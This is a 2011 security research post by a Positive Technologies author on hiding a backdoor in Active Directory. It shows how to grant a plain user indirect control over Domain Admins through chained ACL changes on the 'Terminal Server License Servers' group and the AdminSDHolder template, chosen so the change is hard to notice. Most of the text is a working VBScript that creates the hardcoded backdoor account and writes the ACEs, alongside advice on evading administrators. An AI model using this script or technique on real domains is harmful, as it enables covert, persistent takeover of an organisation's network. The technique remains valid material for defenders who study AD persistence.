Backdoor in Active Directory
# Title: Backdoor in Active Directory
# Date: February 28th, 2011
# Author: Dmitry Evteev (Positive Technologies)
# Contacts: http://devteev.blogspot.com/ (Russian);
---=[ 0x01 ] Intro
Less than a year ago, there was a publication on habrahabr.ru with similar title (http://habrahabr.ru/blogs/infosecurity/90990/). Its author proposed a way how to hide domain administrator privileges using "Program data" system storage as a container for the "hidden" account with access limitations to prevent access to the account. But, despite author words, you can easily detect the "hidden" account and delete it with a couple of mouse clicks (http://habrahabr.ru/blogs/infosecurity/114600/).
It means that this method does not work in practice. But is there more appropriate method (including without rootkits on domain controllers))?
---=[ 0x02 ] Backdoor in Active Directory
As it is said in a famous detective novel:
- Where is the best place to hide a leaf?
- In the autumn forest!
- Where is the best place to hide a stone?
- On the seashore!
- Where is the best place to hide a dead body?
- On the battle field.
Similar to domain folder, we will take after the following strategy:
- You should not hide backdoor identifier, just store it in the same container with a great number of other user identifiers.
- backdoor identifier should not be directly a member of any group with high privileges in domain. It is better to use access control as it is shown below.
- It is not reasonable to insert back door user identifiers even in ACLs of privileged domain groups. It is more correct to extend security group privileges that are already members of ACLs for privileged domain groups. You can use "Builtin\Terminal Server License Servers" group.
So, to create backdoor effectively using the script, you should:
1. Create a plain user;
2. Allow the user to change members in "Builtin\Terminal Server License Servers" user group;
3. Allow the group "Builtin\Terminal Server License Servers" to change members in another group, for example, "Domain Admins".
Here we should note that itís impossible just to change ACL for "Domain Admins" group. Active Directory architecture provides protection for ACLs of the most sensitive objects (adminSDHolder, http://support.microsoft.com/kb/318180), such as:
- Enterprise Admins
- Schema Admins
- Domain Admins
- Administrators
- Domain Controllers
- Cert Publishers
- Backup Operators
- Replicator Server Operators
- Account Operators
- Print Operators
If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System, ", or set "adminCount" attribute to 0 for the required object [3]. Overwriting the ACL template is more promising, as not every administrator knows this "protection" mechanism in Active Directory.
Use can use the following script to automate in Active Directory.
On Error Resume Next
username = "PT"
password = "P@ssw0rd"
userDN = "cn=Users"
joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"
joinGroup = "BUILTIN\Terminal Server License Servers"
adminsGroup = "CN=Domain Admins,CN=Users"
Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)
Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext"))
Set objUserCreate = objContainer.Create("User", "cn=" & username)
objUserCreate.Put "sAMAccountName", username
objUserCreate.SetInfo
On Error Resume Next
objUserCreate.SetPassword password
objUserCreate.Put "userAccountControl", 66048
objUserCreate.SetInfo
On Error Resume Next
GroupAddAce joinGroupDN,username
GroupAddAce adminsGroup,joinGroup
GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup
Function GroupAddAce(toGroup,forGroup)
Dim objSdUtil, objSD, objDACL, objAce
Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext"))
Set objSdUtil = GetObject(objGroup.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")
objAce.Trustee = forGroup
objAce.AceFlags = 0
objAce.AceType = 5
objAce.AccessMask = 32
objAce.Flags = 1
objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"
objDacl.AddAce objAce
objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo
End Function
I just want to add that, in spite of its simplicity, it is rather difficult to detect such a tab without continuous automatic monitoring. And following the idea, you can easily imaging more complex tabs, for example, allow users to manage group policies for OU with domain controllers, etc.
---=[ 0x03 ] Reference
http://ptresearch.blogspot.com/2011/04/backdoor-in-active-directory.html
http://devteev.blogspot.com/2011/02/backdoor-active-directory.html (Russian)